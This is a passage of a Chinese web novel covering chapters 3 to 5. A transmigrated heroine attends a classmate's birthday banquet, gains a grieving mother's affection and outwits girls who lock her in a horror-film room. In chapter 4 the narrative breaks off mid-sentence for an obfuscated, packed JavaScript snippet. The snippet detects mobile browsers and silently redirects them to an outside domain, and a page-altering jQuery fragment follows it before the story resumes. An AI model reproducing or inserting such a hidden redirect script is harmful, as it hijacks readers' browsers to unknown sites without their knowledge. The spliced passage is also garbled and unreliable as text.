时准站在林茵陈身边,对站在对面的秋文兰,也就是周雅宜的母亲微微颔首。 不等秋文兰开口,刚才那位一直夸赞时准的夫人就抢先和他寒暄:“呀,小准来啦!小半年不见,你个头又窜了不少诶!有多高啦?” 时准脸上一直挂着温文尔雅的微笑,回答:“从年初到现在长了4cm,差不多175了。” 夫人夸张地“喔呦”一声:“男孩子一般要二十岁才停止发育嘞,你现在才十六就175了,以后长到一米八肯定不成问题!阿姨最近刚拍了几株人参,想着送给你补补身体,今天特意带来了,一会儿就拿给你啊。” 每次遇到别人送礼,时准都会先把询问的目光投向林茵陈:“妈……” 林茵陈淡淡道:“你赵姨是想感谢你上次帮她包扎伤口的事,还不快说谢谢。” 得到准许,时准立马感激道:“谢谢赵姐姐!” 刚才还是阿姨,现在就成姐姐了。 诸位夫人都被时准的圆滑给震惊到,齐齐笑起来。 笑声未止,秋文兰注意到时准旁边还站着个人,微微侧目,问:“小准你带朋友来啦?怎么不先和我们介绍一下呢。” 温初夏还沉浸在“我靠时准居然是师奶杀手?!难道这就是传说中的技多不压身吗”的震撼中出不来,一听点到自己,立刻把高脚杯往上抬了抬,遮住过分艳丽的唇。 林茵陈就是在这时转过身的。 紧接着,一双眼睛直直闯入她的视线。 十年前,拥有这双眼睛的小女孩倒在血泊中,用尽最后一丝力气,叫了自己最后一声“妈妈”。 十年后,拥有同样双眼的女孩,以一种完全陌生又无比熟悉的形象,出现在自己面前。 林茵陈不敢置信地抽吸着空气,凝视许久后,终于颤声喊道: “淼、淼淼,你是淼淼吗?”她猛然握住对方手腕,“你是我的淼淼吗?!” 她的失态让周围夫人都吓了一跳。 要知道,林茵陈可是贵妇圈里出了名的命好,丈夫专一儿子孝顺家庭和睦,光凭这三点,就足矣秒杀百分之九十九的人。 日子过得称心如意,她的性格也格外平和,因为每当遇到半点风浪,都会被丈夫儿子密不透风地保护起来,所以她从不生气,也从不失态。今天倒真是稀奇了。 听见母亲喊出的名字,时准脸上维持的笑容瞬间消失。 他也将目光移到温初夏身上,终于明白了刚才第一眼见到她的熟悉感从何而来,神色一下子变得极为,复杂。 惊讶有之,了然有之。 除此之外,还有两抹隐藏得极深的情绪—— 意料之中的失望。 无可奈何的积怨。 温初夏被林茵陈抓着手腕,眼里流露出惊讶,但藏在酒杯后的唇角却微微勾起。 这条路,能走通。 3. 第 3 章 宴会厅内觥筹交错,琴声朗朗。 时准皱着眉,脸色罕见的有些难看,“妈……” “阿姨,我不是淼淼。”温初夏有点费力地放下挡脸的香槟杯,时准他妈手劲儿还挺大。 几乎没有脂肪保护的纤细腕骨被捏得生疼,但温初夏一点儿都没有表现出来,而是平静又礼貌道:“我叫温初夏,是时准的同学,您应该是认错人了。” 鲜艳的红唇仿佛一把锋利的剪刀,哗啦一下刺破了林茵陈为自己编织的美好梦境,露出其下血腥黑暗的底色。 她不敢置信地松开温初夏的手,往后退了两步,脸色无比苍白,失魂落魄,备受打击。 “不是淼淼啊,你不是淼淼……” 大庭广众下,她勉强找回理智,可还是忍不住用一种近乎悲怆的眼神看着温初夏,质问她:“可你为什么会和淼淼那么像呢?” 林茵陈也有一双相当漂亮的眼睛,不属于明媚张扬那挂的,而是温婉含情、莹润透亮,仿佛质地上佳的青玉手镯。 但此刻,手镯出现了细碎的裂痕。 “妈。” 时准看不下去了,上前扶住摇摇欲坠的母亲,低声道:“她就是我同学,长得像只是巧合而已,你、你冷静点,别吓到人家了。” 接着又抬头,对温初夏露出一个歉意表情,道歉说:“真不好意思温小姐,我妈妈刚才是认错人了,你没受惊吧?” “没关系,我没事。” 温初夏摇摇头,同时不动声色把掉到小臂中段的钻石手链撸回原来的位置,遮住刚才被林茵陈掐出的红痕。 这个小动作被时准尽收眼底。 十六岁少年的身量尚且单薄,如同一枝纤瘦的嫩竹,仿佛一折就断,一靠就倒。 但就是这样的他,不仅稳稳扶住了情绪失控的母亲,还让她依靠在自己肩头,大半重量都压在身上,挺直的脊梁却分毫不曲。 时准感激温初夏的体谅,但他接下来要好好安慰母亲,所以只能对她说:“温小姐,能麻烦你先去外面稍微等一等吗?” 温初夏面上不变,心里却不太情愿:这就让我走啊?我还没刷够脸呢! “不、不行,孩子你先别走!”林茵陈生怕她走了,赶紧再次握住温初夏的手,恳切道:“我还想和你多说说话,你愿意陪阿姨聊一会儿吗?” 宴会厅入口。 “你们说温初夏怎么还不来呢?” 张紫凌眼神来回扫视着会场里的宾客,轻蔑道:“不会是怂了不敢来吧?” “肯定呗。”李书雪嗤笑一声,“就她家那条件,哪怕是租一件像样的礼服都要省吃俭用半个月,怎么会舍得啊。” 苏筱筱和周雅宜关系最好,她亲密地挽着周雅宜的胳膊,借寿星的光走在一群女生中的C位,假装埋怨:“小雪你怎么能这么说呢,人家大学霸没出席过这种场合,说不定根本就不知道来参加宴会要穿礼服吧?” 她摇摇周雅宜的胳膊,兴奋地说:“咱们快仔细找找,看看有没有人是穿牛仔裤的,八九不离十肯定就是温初夏。” 张紫凌乐了几声,拿出手机打开摄像头,“那我可得时刻准备着,穿牛仔裤来参加晚宴,这照片儿传出去了绝对笑掉大牙!我之后一个月的睡前笑话就靠她了……” 周雅宜的目光也在四处搜寻,不过她找的人并不是温初夏,而是时准。 很快,她就发现了时准的身影,旁边是他的母亲林茵陈,以及自己的妈妈秋文兰,还有一位背对着她站立的黑裙女人。 女人的背影有些陌生,但无论是身材还是体态都非常漂亮,礼裙的倒三角镂空设计露出如石膏雕塑般光洁柔滑的背,后颈处垂着一条金光闪闪的流苏项链,低调又奢靡。 周雅宜把手从苏筱筱的臂弯中抽出,说:“我去和我妈打个招呼,你们先玩儿你们的,我一会儿再过来。” 她踩着小高跟,一路风风火火向落地窗那边走去,沿途遇到好几波人举着酒杯祝她生日快乐的宾客,周雅宜礼貌地一一应付过去,喝了好几口酒。 每次被拦后,她的脚步就会加快一分,即将走到时,听见了一道意料之外的声音—— “阿姨你不知道,我比时准要大一岁,怎么能当他妹妹呢?应该是他叫我姐姐才对啊。” “啊,那姐姐也行姐姐也行。” 林茵陈笑得合不拢嘴,她实在是太惊喜了,这个长得如此像时淼的姑娘居然会在第一次见面的时候就答应认自己当干妈。 林茵陈感觉自己心里那个多年漏风的空洞,好像在此刻被补齐了。 她想,只要温初夏愿意当她女儿就行,姐姐妹妹的无所谓,说这话之前甚至没有征求站在一旁的亲儿子时准同意,满心满眼都是温初夏。 听到这两句的周雅宜差点儿崴了脚。 发生什么事了?!温初夏是谁姐姐?!! 温初夏毫无负担地将林茵陈热切到不正常的目光全盘接受,不仅如此,她还有心思去逗时准—— “阿姨都发话了,快,叫我声姐姐听听。” 时准才不想叫她姐,怀疑地问:“你真比我大一岁?” 温初夏坦然:“当然了,我骗你这个干嘛。” 其实在《等风说雨停》原文里,女主温初夏是要比男二时准小俩月的。 但,又因为霸总文里女二温初夏由于车祸休学了一年,所以界面融合后,温初夏本人的年龄就要比同级绝大部分学生,包括时准,都大一岁。 温初夏心里邪魅一笑:哼,我都是你妈妈钦定的你姐了,就算你以后黑化了想对我动(绑)手动(绑)脚,也得先过了伦理道德这一关。 别误会,温初夏可没指望光凭成为时准的干姐姐,就能把他黑化的苗头扼杀在萌芽之前,因为剧情线是很难撼动的。 但有了这层姐弟关系,至少应该能让时准黑化的进程,稍微晚一点儿。 男主宋云泽要高二下学期才会转校到清荟,温初夏目前的计划是,趁这段时间好好稳固和时准的姐弟关系,等宋云泽出场了,再把精力放在攻略男主上。 免得他俩一开始就针尖对麦芒,难搞。 “妈!” 突然冒出的一声惨叫,把一群人吓了一跳。 秋文兰看见自己女儿一脸惊慌失措地走过来,皱眉道:“怎么了冒冒失失的,出什么事儿了?” 周雅宜根本听不进她妈的话,表情呆滞地指着温初夏,“你们怎么在和她说话呢?你们知不知道她是……” “她是你朋友。”秋文兰嗔怪地说,又一拍周雅宜的肩膀,把她没礼貌的手扳下去,“我们刚才都知道了,小准告诉我们的。” 周雅宜脑瓜上方登时飘出无数个小问号,嘴角一抽:“谁跟她是……” “雅宜。” 这回打断她的人换成了时准,他温声说:“有什 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宴会即将开始,整个会场忽地暗了下去,头顶的灯光从刚才的暖黄变成了冷色,除去舞台那一块儿还完全亮堂之外,其他地方或多或少都有些昏暗。 眼前的一片空气是深蓝色的,冷冽、清新,如同寂静夜色之下暗流涌动的海水。 温初夏一步一步,不慌不忙,步子优雅且慵懒,仿佛不是要去撕逼,而是去出席格莱美红毯的。 途中,几束烘托氛围的亮白色聚光轻柔地掠过她的身体,点缀在黑丝绒长裙上的宝石瞬间发出类似丁达尔效应的夺目光彩,万千发丝更显柔顺轻盈,漂亮的如同一场惊心动魄的梦境。 灯光昏暗,却无法掩盖她熠熠生辉的美貌。 她路过时,周围人纷纷停下正在做的事,无数目光汇聚到她身上,又都下意识地不敢出声,怕惊扰了这场梦。 其中一道,来自于站在原地的时准。 那是片和皑皑雪山拥有同样色彩的薄背。 但温度,却是山间暖雾弥漫的泉。 光洁、神圣。 滚烫、柔滑。 行走时四肢牵动背部的皮肤张驰,能极其隐约地窥得,掩藏在皮肉筋络之下,脊柱的轮廓。 仿佛世界上最完美的艺术品。 诡异的,看着看着,时准心里居然泛起阵细密的痒。 像用世界上最细最小的针在他的胸骨之下扎刺,不痛,却能让人心神不定,坐立难安。 时准后知后觉地发现,自己此刻的情绪,有点像是在生闷气。 因为他潜意识里觉得,那抹纯洁又滚烫的白色虽然确实令人心驰神往,但附着在白色之上的其他眼神,却又让他感到无比烦躁。 要是,能把白色藏起来就好了…… “阿准。” 耳边传来母亲的声音,时准慌忙撤回眼。 林茵陈拉了拉他的衣袖,问:“我刚才自作主张想认初夏当我的干女儿,没征询你的意见,你有没有生气啊?” 痒意如潮退般消失。 时准回答:“当然没有。” 对于母亲,他总是无有不依的。 “那就好。” 得知儿子没生气,林茵陈露出一个放松的笑,但下一刻,时准的话让她的笑意僵在了嘴角。 “但妈妈你要记得,她,不是时淼。” 4. 第 4 章 温初夏觉得这感觉简直爽爆了。 左右两边投来的目光如同领导人路过时夹道欢迎的掌声和鲜花,都不用猜,肯定是被她全书第一的美貌给惊艳震撼到了,爽。 而前方投来的目光如同刀光剑影,看着架势很大很危险,实际却只是无实物的影子,任凭再怎么张牙舞爪,也伤不了她分毫。 这种类似于隔岸观火,又类似于“看不惯我又弄不死我”的感觉,更爽! 原来这就是传说中小说女主的日常吗? 果然,自己兢兢业业爆肝刷级的选择是正确的,高瞻远瞩的,造福千秋万代的,耶! 苏筱筱一路盯着温初夏走到自己面前。 不可否认,温初夏长得确实是漂亮,如果自己硬要说她不好看,只会让身边的小姐妹怀疑她到底是眼睛坏掉了还是审美坏掉了。 所以,她的攻击方向在其他方面。 开撕之前,苏筱筱脸上首先扬起人畜无害的微笑,甜甜地叫她:“初夏。” 温初夏顿时起了半身的鸡皮疙瘩,心里倒是没忘记点评:嗯,比周雅宜的演技要好上半个数字小姐。 她恶寒地抱起胳膊,语气不冷不热:“有什么事吗?” “没什么要紧事,咱们同学之间就不能说说话聊聊天啦?” 苏筱筱举起酒杯浅酌一口,垂眸欣赏着沾到杯口的唇印,是Dior限量色号,普通人可能要抢破头才能抢到,而她,只需要舒舒服服坐在家里,自然就会有人主动送上门。 苏筱筱自从出生以来,吃的穿的玩的用的,无一不比普通人要好要贵。 她从幼儿园开始上的就是贵族学校,虽然没比普通学校的学进去更多知识,但环境的浸润却让她愈发笃定,自己就是高人一等。 她无比享受这种高高在上的感觉。 所以,任何会让她的优越感受到威胁的物和人,都应该从她眼前消失,或者被她踩到脚下。 “再说了,你家里这么穷,平时又只顾着学习,应该没见识过这种场合吧?” 恶意的毒液已然流出,但苏筱筱还是一副关怀贴心的表情:“作为班级的一份子,同时又是雅宜的好朋友,我们当然有义务帮你多见见世面啦。” 温初夏心想可别给她演爽了,笑了下说:“那感情好啊,请问你们要怎么带我见世面呢?” “楼下29层401房间,我们在里面特意为你准备了点小惊喜——放心,不是要害你,到时候我们几个人会和你一起进去的,免得你疑神疑鬼。” 哦。 没派上用场的小黑屋原来在这里等着我呢。 温初夏故作犹豫片刻,说:“好啊,那一会儿把周雅宜也叫上,毕竟她才是今天的主角,你们给我准备惊喜却不带上她,不合适吧。” 苏筱筱当她是怕了又不好意思承认,所以想通过多拉点儿人到时候好降低恐惧感,于是更加兴奋,仿佛已经看到了温初夏出糗的囧状,一口答应: “那当然了。等雅宜上台致完辞,我们就去吧。” 说完,她给了旁边的张紫凌一个眼色,对方立刻心领神,对温初夏捂嘴惊讶道:“哇,初夏,你今天的礼服好漂亮啊,特别是领口的大钻石,看起来品质好好,能和我们透露一下是哪家的吗?” “……” 演技比周雅宜要差108个数字小姐。 另一边的李书雪见温初夏语塞,笃定她肯定是心虚了,直接连装都不屑不装了,阴阳怪气就开嘲: “哎呦紫凌,你就别为难人家大学霸了,她哪儿知道什么牌子呀,多半是从地下商场随便租来的吧?” 她用目光毫不客气地在温初夏身上指指点点,细眉挑成一个刻薄的弧度,似是无语。 “不过我说你租就租吧,要是换成其他稍微简约点儿的款式,说不定别人还会信你穿的是正品,但你偏偏选了这种满身带大钻的……” 说到这儿,李书雪和其她人相视一笑,又故意捂嘴夸张地笑出声,一副忍俊不禁的样子:“欸不是,我猜你身上的这些钻,不会是从家里的水晶吊灯上拆下来的吧?哈哈哈哈……” “没想到我们大学霸不仅脑子聪明,动手能力也好强哦!这大水钻缝得还挺漂亮,回头我就让我家阿姨也照这样把我衣帽间里那几件过时的礼服改造一下。” “你这么说我倒突然想到一句老话了,叫什么来着?左三年右三年,缝缝补补又三年?” 有人纠正:“是新三年旧三年。” “嗐,意思差不多嘛。” “不过叶子你真要这么做吗?改衣服?不怕被爸妈知道了心疼啊。” “我巴不得他们心疼呢,这样我就又有理由买新的礼服了。” “你好有心机哦!没想到你居然是这样的女人。” …… 被人当面如此羞辱,温初夏既没生气也没脸红,就这么静静地看她们作妖,并在心里真诚地希望她们能作出风格、作出水平、作出风采,作出一片恶毒女配的广阔天地! 因为现在的她们,就是曾经的自己。 长江后浪推前浪,前浪上岸沙滩上。 作为已经功成名就的前辈,温初夏深觉自己有责任也有义务,要给这些年轻的孩子们更多展示自己的机会,发光发亮的舞台。 来,灯光组道具组后勤组还有那什么什么组统统做好准备,以及台下观众手里的可乐零食爆米花全都给我收走!这么精彩的表演你吃什么小零食?! 全都给我认真看表演,看完之后每个人写800字观后感交上来! …… 三分钟后,一群女生终于演够,温初夏也默默在心里给她们每个人打好分,准备挑其中表现最差的一位进行一对一专业指导。 李书雪!F班! “笑够了?” 温初夏冷眼与李书雪对视。 这眼神过于犀利,让李书雪平白打了个寒颤,随即又鼓起胆,呛道: “没笑够,但刚才笑的苹果肌痛所以现在不想笑了。怎么,沉默了这么久,我们大学霸终于要开始国旗下的讲话发言了?” “是啊。”温初夏毫无压力地接下话茬,“但国旗下发言前通常都是要有掌声的,来,你给我鼓一个。” 李书雪:“……” 不是,给你递根杆你还真敢往上爬啊? 她脸色微变,又迅速恢复正常。 这种时候,谁要稍微怂一下或者慢一拍就输了,所以李书雪举起双手,不轻不重拍了三下,一下一响,完了轻蔑道: “现在你可以讲了。” 温初夏:“你怎么能确定我这身衣服是假货?” “不是假货,难不成你还是自己买的?” 李书雪仿佛听到了世界上最荒诞的笑话,咯咯笑了几声,一抬下巴:“那发票呢?拿来给我们看看。” “是你们怀疑我,又不是我怀疑你们。” 温初夏报了个品牌名,“我不自证,你们要是不相信,大可以自己去问问柜姐,问问他们这两天国内是不是有人买了这条裙子。” 张紫凌忍不住插嘴:“温初夏,你开玩笑之前也要打个草稿吧,这个牌子的礼服就没有低于五位数的,你怎么可能买得起?!” “我怎么买不起?” 温初夏看着她们,漆黑的眸子在昏暗中闪着冷光。 “你们靠爸妈,我靠自己,学校每年给我发的奖学金可都是按最高规格来的,一件衣服而已,对我来说根本就算不了什么,倒是你们——” “自诩是豪门千金小姐,却连一件礼服是真是假都判断不出来。”她讥讽一笑,“真是丢死人了。” “你!” 李书雪噔噔噔上前三步,与温初夏近距离对峙,愤怒让她原本秀丽的小脸变得有些扭曲,她恶狠狠道: “下次说这种话之前,我劝你最好掂量掂量,自己有没有承担后果的能力。” “不用掂量,我当然有。” 温初夏的视线先是落在李书雪眼皮上blingbling的闪片,然后大摇大摆地一路下移,定格在她身上穿的浅色贴身长裙的左腰处。 “听说,在你们的圈子里,穿假货等于裸奔,是吗?” 温初夏用只有她们二人能听到的声音,轻飘飘问。 瞬间,李书雪半个身子都凉了。 明明自己面前站着的是个会呼吸会喘气的大活人,但她却一点热气都感受不到,颈间仿佛贴了柄蓄势待发的冷刃,刀尖处闪着瘆人的寒光。 她看出来了??! 不、不可能!她就是个穷学生,是个乡巴佬!怎么可能看出来?! 她肯定是在诈自己! “是啊。所以,你在裸奔吗?” 李书雪听到自己说这话的声音有点哽,是过度紧张导致的。 而对方依旧云淡风轻:“我裸没裸懂行的人自然会看出来,但你的朋友们……显然并不怎么懂。” 温初夏抬起左手,纤长的指尖隔着空气,在李书雪腰间那块与官网平面图略微不同的褶纹处,画了画圈。 “……” 李书雪脑子里那根绷到至极的神经,忽然啪一下,断了。 后背的汗毛根根立起,她僵直地愣在原地,直到温初夏转身离开,身后的小姐妹一窝蜂围上来。 “小雪,刚才温初夏和你说什么了?”张紫凌问。 “没、没什么……” 李书血面无血色,盯着温初夏离开的背影,如同即将溺毙的人终于吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501995|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入一缕空气,低沉道:“就是放了两句狠话。” 苏筱筱觉得稀奇:“她居然还敢对我们放狠话?这么嚣张?哼,我倒要看看,一会儿她还能不能嚣张起来。” 撕完逼后,温初夏本来是想继续回去找林茵陈刷好感的,接货半路上又蹦出来了季明轩,跟上次的出场方式如出一辙。 “可算逮到你了!我都找你找半天了,还以为你没来呢。” 季明轩抓着温初夏不放,看她一身不俗的打扮,又讶然道:“你这礼服哪儿找的?挺漂亮嘛!” 温初夏刚和人就礼服吵了一架,一听这咋咋呼呼的倒霉孩子又提礼服,立马没好气道:“你管我哪儿找的?反正是真的,你要是敢说我穿假货我跟你急啊。” “没没没,没想说你穿假货,你别冤枉我!火气这么大吃辣椒了啊?” 没想到季明轩居然是个秒怂选手,瞪着眼睛喊冤:“再说我平时又不关注这方面,也看不出来你这是真是假啊。” 喊完,又提高音量,理直气壮:“而且我还担心你没衣服穿,特意给你带了一件呢!” “什么样的?” 温初夏有点好奇:不会真是粉色蓬蓬裙吧? 季明轩赶紧招呼人过来,打开一只duang大的行李箱,箱子里满满当当塞着一条鹅黄色的超大公主裙。 “要不你把身上衣服脱了换我这条吧。” 季明轩兴奋地比了个八:“我数了,足足有八层呢!无论是颜色还是体积,都能把周雅宜那个女人踩在脚下。” “……” 温初夏看着从箱子里爆出来的裙角,视觉效果简直了,仿佛一碗冒漾的蛋花汤。 她心道:果然,我没有看错人。 真是谢谢你的蛋花汤啊!!! “怎么了,不喜欢啊?” 季明轩观察到她眼神似乎有点嫌弃,忙道:“我妈说了,年轻人就是要趁年轻多穿一些鲜亮的颜色,等以后老了就没机会穿了。你看这黄色多漂亮啊,绝对很适合你,来来来试试嘛试试嘛,我提前挑了一晚上呢……” 温初夏抻着脖子抗拒:“不——” 我信你的邪! 你一个晚上才挑出这么件丑玩意儿?骗鬼呢! 这时,宴会厅的音响系统传来周雅宜清甜的嗓音,作为整场宴会的绝对主角,她开始发表开场致辞,感谢各位宾客前来见证她的十六岁生日。 声音一出,季明轩就不闹腾了,而是不知道从哪儿掏出来一个相机,对着聚光灯下的周雅宜咔咔就是一顿拍。 期间对上温初夏无语的眼神,他是这么解释的—— “你以为我想拍啊?是周雅宜她逼我的!我要不答应她转头就会和我妈告状!不然我才不想拍她呢,多大了还戴皇冠,幼稚死了!” 温初夏了然:哦。不仅怂,还是个妈宝。 致辞结束,周雅宜又坐在三脚架钢琴前弹了一曲,水平比较中庸,不算多好但也不差,流畅但死板,比较缺乏情感。 温初夏猜她应该是还处在对“自己成了时准姐姐”的震惊中出不来。 曲毕,头顶灯光亮起,会场重新回到完全明亮的状态。 温初夏抬眼往左边一扫,看见苏筱筱站在出口处,朝自己勾勾手。 中场休息时间到,接下来,好戏要登场了。 “诶!你去哪儿啊?”季明轩问。 “上厕所——”温初夏白他一眼,“怎么,要一起啊?” “不是啊……” 刚说了三个字,季明轩没忍住打了个哈欠,打完后大眼睛水灵灵的更加无辜,有种清澈的愚蠢,他指着另一个方向道: “我就是想说,厕所在这边儿,你往那个方向走的话要绕好大一圈呢。” “……我乐意绕你少管我!” 季明轩:“……” 服了,头一次遇见比周雅宜还脾气臭的女人! 当时准好不容易从茫茫人群中捕捉到温初夏的身影时,她正独自走出会场。 乌云裹月的背影从视线中一闪而过,如同一只片叶不沾身的玉斑凤蝶,轻轻巧巧无声无息地退出嘈杂的名利场,独留下一缕勾人的馨香。 之前发生的事情让时准始料未及,又是认女儿又是叫姐姐的,他觉得自己很有必要和温初夏解释一下,关于母亲的失态。 以及,她能不能别把认女儿的事情当真。 时准快步走出会场时,温初夏已经不见了踪影,他正欲问旁边的服务生,电光火石之间,脑子里忽然升起个无比荒唐,又无比确切的念头—— “咚、咚、咚……” 心跳又快又重。 我好像,知道温初夏在哪儿…… 我好像,能感觉到她…… 5. 第 5 章 “叮。” 电梯下行到29层。 门打开,正对着空荡无人的长廊。 头顶是惨白刺眼的灯光,脚下是深红浅绿的地毯,两边的房间门排列密集、左右对称,空气安静到落针可闻,仿佛有一种诡异的磁场在悄然波动。 温初夏走出电梯,脚步声被地毯吞没,软绵绵又轻飘飘,给人一种不踏实的感觉。 这环境,不拍恐怖片真是浪费了。 【401】房间在走廊尽头,温初夏停下,深棕色的房门留有一条缝隙。 不用想也知道,肯定是那群小女生特意留的。 她几乎没有犹豫,直接左脚踢开门进去,反手还把门关了。 “砰”的一道关门声后,紧接着又是咚”的一声闷响。 是门外的张紫凌因为用力过猛没刹住车,在惯性的作用下,以脸为着力点,狠狠撞上了紧闭的房门。 她痛的直抽气,噔噔噔往后倒退了好几步,直到后背抵到墙才停下,眼冒金星,抑声骂道:“靠……” 本来她是想推温初夏进屋的,但不知道这人到底是脑子抽风了还是怎么的,居然没犹豫就直接进去了,害自己没控制住撞上了门,简直有病! 张紫凌揉揉痛的发麻的脸,生气地往门上滑稽的粉底印一拍,坐电梯前往地下一层的监控室。 她走进电梯时,刚好时准从另一部电梯里出来。 二人擦肩而过。 时准看着四下无人的长廊,周围安静到耳膜紧绷,心里越发觉得自己刚才是不是脑子抽风了。 一个人,怎么可能仅凭直觉,就能猜到另一个人在哪儿? 这不科学,也不合理。 时准是个不信鬼神的唯物主义,像心灵感应第六感这种小说电影里才会出现的东西,他是完全不相信的。 虽然内心的潜意识一直告诉他,他应该顺着这条梦境般的长廊往前走,一直往前,走到尽头。 在那里,就能找到自己想见的人。 但这念头实在是太诡异、太奇怪了,奇怪到让时准产生了一点微妙的羞怯和不自在,他在原地呆站了快一分钟,才终于勉强按下心里汹涌不定的念头,拔腿往回。 还是去问问周雅宜吧。 她和温初夏不是好朋友吗?应该知道对方在哪儿。 下楼后,张紫凌先去卫生间补了个妆。 她拿出气垫粉扑往脸上拍,拍一下就痛的龇牙咧嘴一下,很快就下不去手了,草草整理好头发赶去监控室。 张紫凌步子迈得又大又快,心想忿忿地想,自己待会儿一定要把监控里温初夏恐惧尖叫的画面拍下来,发校群发朋友圈发微博,让她丢人!让她社死!!! 不然难解撞脸之恨。 按照张紫凌的预期,此刻监控室的小姐妹们肯定已经嘻嘻哈哈笑作一团,而监控里的温初夏,会被房间里自动播放的恐怖片吓得疯狂拍门,求外面把她放出去。 光是脑补出温初夏那张刻薄张扬的脸,会在恐惧的摧残下露出怎样痛苦的表情,张紫凌就无比舒爽,心情也恢复了大半。 所以,当她一脚踏进监控室,发现周雅宜苏筱筱她们虽然脸色各有各的复杂,但不知为何都同样保持缄默,一言不发地看着面前的监控屏幕时,整个人愣住了。 张紫凌忙扭头去看屏幕,眼珠子直接掉了出来—— 屋内所有照明设备都被人为切断了,整个房间唯一的光源,只有一台正播放着鬼片的电视机。 提前安插的摄像头性能很好,就算隔着网线,监控室的人也能十分清楚地听到电影里那位倒了血霉的白人男主鬼哭狼嚎的声音。 此刻电影正播放的画面应该是血浆爆裂、鲜红色炸满了整个屏幕才对,不然坐在沙发上的温初夏也不会这么“满面红光”。 但与张紫凌脑补出的画面大相径庭,她并没有被恐怖片吓得痛哭流涕四处乱窜,更没有拍门求饶。 恰恰相反,这人就像是大半夜的睡不着想找点儿刺激,所以心血来潮窝在自家的私人影厅看恐怖片。 一边看,一边俯身端起茶几上的红酒杯,翘起二郎腿,仰头浅酌几口。 红光闪动下面无表情的脸仿佛在说: 呵,就这? “谁给她拿的红酒??!” 虽然重点有些偏,但张紫凌真的很想问,居然真的有人能在看血腥暴力镜头的时候喝红酒吗?她也喝的下去??? “没谁给她拿。”周雅宜目光呆滞,“是她一开始进去的时候自己从冰箱里拿的,还是挑的套房自带的酒水里最贵的一瓶。” 张紫凌:“……” 又是静默片刻。 突然,苏筱筱拍案而起:“不行!” 其她女生看向她。 她表情坚毅,仿佛是准备起义的梁山好汉:“我们是要整温初夏,不是让她在这儿舒舒服服地看电影喝酒……” 要知道这部恐怖片可是苏筱筱特意挑的,剧情惊悚特效炸裂,虽然她没敢看正片,但评论区说这片儿在国外刚上映的时候吓尿了不少观众,所以她才选的这部。 苏筱筱非常有信心,今晚,绝对能把温初夏整到怀疑人生,让她从此以后见了自己都要绕道走。 可结果,这厮居然一点儿不害怕,不仅不害怕,她竟然还自给自足地喝上了,一副风轻云淡气定神闲的样子,看着就让人来气,气炸了! 一群女生鱼贯而出离开监控室,坐电梯回到29楼。 她们站在【401】门口,你瞅瞅我我瞅瞅你,眼神传递的意思是—— 是门隔音效果太好了还是里面根本就没声儿?怎么听着这么安静呢。 “要不进去看看?” 周雅宜低声问,语气有些迟疑。 她虽然脾气大,但是胆子小,小时候只听半截鬼故事就能怕的让家里阿姨陪睡好几个月,恐怖电影什么的更是一眼都不敢多看。 所以周雅宜其实不太想进去。 结果苏筱筱一听到她的话,就立刻冲她坚定地一点头,拿出房卡刷开房门,拧门而入。 开门的一瞬间周雅宜就怂了,想对苏筱筱说“你们进吧我在外头等着”。 然而,也不知道是谁推了排在最后的叶彤一把,紧接着,一群女生就跟多米诺骨牌牌似的,一水儿地全倒进了黑暗里。 “砰!” 房门关上。 伸手不见五指的套房,穿着小裙子踩着小高跟的女生们躺在地上呻吟—— “嘶……痛死了!刚谁推的我??!” “我。但我也是被人推了才撞上你的,所以是谁推的我啊???” “好重啊小雪你快从我身上起来……诶诶诶手!手别撑我脸上!痛啊——!” “啊对不起对不起!紫凌你没事儿吧?太黑了我没注意……” 最前面的周雅宜快吓死了,颤声道:“谁离门口近?赶紧开下灯啊!黑乎乎的什么都……” “看”字刚说出口,房间里突然亮起了灯。 绿油油,阴森森。 像是鬼屋和密室逃脱里用的那种特效灯。 一时间,懵逼和惊讶的情绪甚至大过了恐惧,周雅宜还没站起来就下意识先抬了头—— 两分钟前还翘着二郎腿坐在沙发上的温初夏不见了,取而代之的,是一个浑身裹着黑袍的神秘人。 半秒后,只听“咔嚓”一声微响,神秘人把头转了过来,兜帽顺势滑落,露出里面沾染了血迹的森森头骨,紧接着,眼眶骨里的俩假眼球不分先后掉了出来。 “啪!啪、啪啪啪……” 跟二重奏似的。 原来这黑袍子里包裹着的不是人,而是一具人型骷髅! “啊——!” 周雅宜放声尖叫:“鬼啊——!!!” . 时准在会场一刻不停地找了两圈,都没有发现周雅宜的身影,更没有看到温初夏。 正当他犹豫着想要捡起之前那个荒谬的念头,去29层找找看的时候,温初夏却忽然回来了。 她还是那身高贵优雅的黑色丝绒裙,妆容发型一丝不苟,走起路来步步生莲,像个吸铁石一样轻易吸引住周围所有人的目光,却从不给予任何回应。 简直像是只高傲的黑天鹅。 时准脚步一顿,紧接着就又重新迈开,大步向她走去。 结果半路却被妈妈阿姨们截了胡。 看着母亲又亲昵地拉住温初夏的手,一脸慈爱地对她嘘寒问暖说话聊天,明明才二十分钟没见,她却表现得跟二十多年没见一样,一双十指不沾阳春水的手这时仿佛成了金箍铁链…… 不,更像是脐带。 企图把两个毫无血缘关系的人血肉相连。 时准远远地停下,看了一会儿,转身离开会场。 他觉得自己需要出去透透气。 …… “我学校附近租了套小房子,平时上学的时候一般是早上六点起床,随便热个吐司鸡蛋当早餐,吃完后骑自行车去学校。午饭嘛就在食堂吃,我们学校食堂一楼的炸猪排特别好吃,又酥又脆,我一次能吃两大块儿,完全不腻的!如果阿姨你以后有机会去学校的话,强烈推荐你尝一尝。” “而且那个窗口的师傅可逗了,每次我去的时候他都要给我讲笑话,我听了一两次,觉得人家免费跟我讲笑话好像有点儿吃亏,所以之后再去我也会准备一个笑话,和他比比谁的笑话更好笑。” 一开始林茵陈脸上就带着笑,听到这里,她的笑意更深了,“你都准备了什么笑话?能说给阿姨听听吗?” 温初夏也笑盈盈的:“好呀,那我随便说一个……” 这时,一道气势汹汹的脚步袭来。 温初夏停住话头,和其她几位夫人一起闻声看去。 